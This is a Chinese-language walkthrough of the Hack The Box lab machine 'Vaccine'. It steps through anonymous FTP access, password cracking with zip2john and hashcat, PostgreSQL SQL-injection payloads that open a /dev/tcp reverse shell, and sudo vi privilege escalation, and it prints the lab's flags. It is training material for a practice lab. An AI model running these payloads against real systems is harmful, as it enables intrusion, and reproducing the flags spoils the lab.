[StartingPoint][Tier2]Vaccine

Task 1

Besides SSH and HTTP, what other service is hosted on this box?

(除了SSH和HTTP,这个盒子上还托管了什么其他服务)

# nmap -sS -T4 10.129.230.43 --min-rate 1000

ftp

Task 2

This service can be configured to allow login with any password for specific username. What is that username?

(这个服务可以配置为允许特定用户名使用任何密码登录。那个用户名是什么?)

anonymous

Task 3

What is the name of the file downloaded over this service?

(在这个服务上下载的文件的名称是什么?)

backup.zip

Task 4

What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

(John The Ripper哪个脚本可以爆破zip密码)

zip2john模块将ZIP转换为哈希

zip2john

Task 5

What is the password for the admin user on the website?

(网站管理员密码是多少?)

$ zip2john backup.zip > hashes
$ cat hashes

复制代码
-wordlist.txt-
admin
admin123
password
password123
741852963
741852962

$ john -wordlist=./wordlist.txt hashes

A

B

$ echo 2cb42f8734ea607eefed3b70af13bbd3 > hash

$ hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt

qwerty789

Task 6

What option can be passed to sqlmap to try to get command execution via the sql injection?

(sqlmap的什么选项可以进入shell命令交互窗口)

--os-shell

Task 7

What program can the postgres user run as root using sudo?

(postgres用户可以使用sudo作为root运行哪个程序?)

复制代码
http://10.129.95.174/dashboard.php?search=a';DROP TABLE IF EXISTS res; -- -
http://10.129.95.174/dashboard.php?search=a';CREATE TABLE res(cmd_output text); -- -
http://10.129.95.174/dashboard.php?search=a';COPY res FROM PROGRAM 'bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.6%2F10032%200%3E%261%22'; -- -

一定要将payload进行url编码

$ cat /var/www/html/dashboard.php

将获取到的账户密码通过更加稳定的ssh进行连接

$ sudo -l

查看列出当前用户可以以超级用户权限执行的命令

可以用/bin/vi以root权限操作pg_hba.conf

vi

User Flag

$ cat user.txt

ec9b13ca4d6229cd5cc1e09980965bf7

Root Flag

sudo的配置文件限制了只允许使用特定路径的vi命令。这个路径是/bin/vi,而不是你尝试使用的/etc/postgresql/11/main/pg_hba.conf。所以,当你尝试执行sudo命令来编辑/etc/postgresql/11/main/pg_hba.conf文件时,由于sudo的配置限制,你得到了一个错误。这个错误告诉你,用户postgres不能以root身份执行你尝试的命令,因为sudo只允许使用/bin/vi路径的vi命令

A

:!/bin/sh 是一个vi编辑器的命令,它用于在vi编辑器的命令行模式下执行shell命令。具体来说,:! 是vi编辑器命令行模式下执行外部命令的开头,后面跟着要执行的shell命令/bin/sh。在这个例子中,它启动了一个新的shell进程(通常是Bourne shell或其变种),并执行/bin/sh。

:!/bin/sh 是在vi编辑器中直接执行一个shell命令

:!/bin/sh

B

:set shell=/bin/bash ; :shell 是另一个vi编辑器的命令,它用于设置vi编辑器的外部shell。在这个例子中,它将vi编辑器的外部shell设置为/bin/bash,这意味着在以后执行外部命令时,vi将使用Bash shell而不是默认的shell。这样做可以影响vi编辑器在执行外部命令时使用的shell的行为,包括命令补全、命令历史等。

:set shell=/bin/bash ; shell 是设置vi编辑器在执行外部命令时使用的shell。前者是执行命令的动作,后者是配置vi编辑器的行为。

:set shell=/bin/bash

:shell

dd6e058e814260bc70e9bbdef2715849

Path

ftp匿名访问网站源码泄露->zip2john爆破zip密码->查看泄露源码->登录页面->sql注入命令执行->dashboard.php泄露密码ssh登录->sudo -l 发现用户在/bin/vi可以以root权限编辑/etc/postgresql/11/main/pg_hba.conf文档->利用:[shell]进行提权

相关推荐
AI木马人12 分钟前
9.【AI任务队列实战】如何在高并发下保证系统不崩?(Redis + Celery完整方案)
数据库·人工智能·redis·神经网络·缓存
2401_8836002536 分钟前
golang如何理解weak pointer弱引用_golang weak pointer弱引用总结
jvm·数据库·python
aLTttY36 分钟前
【Redis实战】分布式锁的N种实现方案对比与避坑指南
数据库·redis·分布式
2301_773553621 小时前
mysql如何评估SQL语句的索引开销_mysql性能追踪与分析
jvm·数据库·python
pele2 小时前
PHP源码运行受主板供电影响吗_供电相数重要性说明【技巧】
jvm·数据库·python
sinat_383437362 小时前
CSS如何实现元素悬浮在页面底部_利用fixed定位与底部间距
jvm·数据库·python
gmaajt2 小时前
mysql如何备份与恢复函数定义_mysql mysqldump导出存储对象
jvm·数据库·python
阿丰资源3 小时前
基于SpringBoot的在线视频教育平台的设计与实现(附源码+数据库+文档,一键运行)
数据库·spring boot·后端
qq_460978403 小时前
Python爬虫怎么模拟手机端抓取_设置手机型号User-Agent字符串
jvm·数据库·python
m0_617881427 小时前
如何高效进行堆叠分类器的超参数调优:解决 GridSearchCV 卡顿问题
jvm·数据库·python